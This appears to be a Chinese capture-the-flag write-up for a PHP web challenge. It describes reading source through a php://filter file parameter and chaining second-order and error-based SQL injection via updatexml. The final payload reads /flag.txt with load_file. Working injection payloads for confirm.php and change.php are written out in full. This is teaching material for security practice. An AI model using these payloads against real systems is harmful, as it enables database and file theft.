这是个二次注入的题
在index.php页面的响应最下面可以发现提示了?file=?,猜测应该是个读取文件的点
尝试伪协议读源码
?file=php://filter/convert.base64-encode/resource=index.php
把所有源码读到本地以后就是代码审计了,可以发现每个页面都对username和phone做了过滤
但是并没有对address做过滤,只有在change.php页面对新提交的address做了特殊字符转义,但是还拼接了前一句的查询结果里的address值,这个值可是没有被黑名单过滤,而且还有 一个关键是做了if判断,如果上面的第一个查询结果正确,第二个结果报错就会将报错信息输出
这里属于是叠buff了,二次注入+报错注入
1、插入数据时没有对address做过滤
2、修改数据时对拼接了前一句查询结果的address参数值
3、第一个查询有结果并且第二个查询语句报错,则将报错信息打印
confirm.php页面上传
user_name=aa&phone=aaaa&address=a' where user_id=3 and updatexml(1,concat(0x7e,(select database()),0x7e),3)--+
change.php页面上传
user_name=aa&phone=aaaa&address=x
剩下的我以为就是报错注入加二次注入的正常流程了,address没有任何过滤
但是!!!!!!查半天才发现数据库里居然没有flag!!!!!!!!!!!!
最后时在根目录猜到的flag,还好没有改别名
最后的payload:
confirm.php:
//修改substr拿剩下的后半部分
address=a' where user_id=3 and updatexml(1,concat(0x7e,substr((select load_file('/flag.txt')),1,25),0x7e),3)--+
change.php:
username和phone同confirm.php,address随便写